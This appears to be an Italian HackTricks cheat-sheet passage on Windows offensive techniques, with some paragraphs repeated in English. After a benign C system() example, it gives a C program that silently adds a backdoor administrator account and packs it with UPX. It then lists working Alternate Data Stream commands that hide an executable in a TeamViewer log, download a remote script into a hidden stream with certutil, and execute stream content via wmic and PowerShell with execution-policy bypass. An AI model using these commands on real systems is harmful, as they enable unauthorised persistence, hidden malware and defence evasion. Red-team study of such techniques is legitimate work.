Per chiamare CMD dal codice C, puoi utilizzare la funzione system()
fornita dalla libreria standard del linguaggio C. Questa funzione ti consente di eseguire un comando nel prompt dei comandi.
Here is an example of how to use the system()
function to call CMD and execute a command:
Ecco un esempio di come utilizzare la funzione system()
per chiamare CMD ed eseguire un comando:
#include <stdlib.h>
int main() {
system("command_to_execute");
return 0;
}
Replace "command_to_execute"
with the actual command you want to execute in CMD.
Sostituisci "command_to_execute"
con il comando effettivo che desideri eseguire in CMD.
Keep in mind that using the system()
function can be a security risk, as it allows for arbitrary command execution. Make sure to validate and sanitize any user input before using it in the command.
Tieni presente che l'utilizzo della funzione system()
può comportare un rischio per la sicurezza, in quanto consente l'esecuzione di comandi arbitrari. Assicurati di convalidare e sanificare qualsiasi input dell'utente prima di utilizzarlo nel comando.
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
Scheda di riferimento per gli Alternate Data Streams (ADS/Alternate Data Stream)
Esempi tratti da https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. Ce ne sono molti altri!
## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
- Lavori in un'azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata in HackTricks? o vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PIANI DI ABBONAMENTO!
- Scopri La Famiglia PEASS, la nostra collezione di esclusive NFT
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo hacktricks e al repo hacktricks-cloud.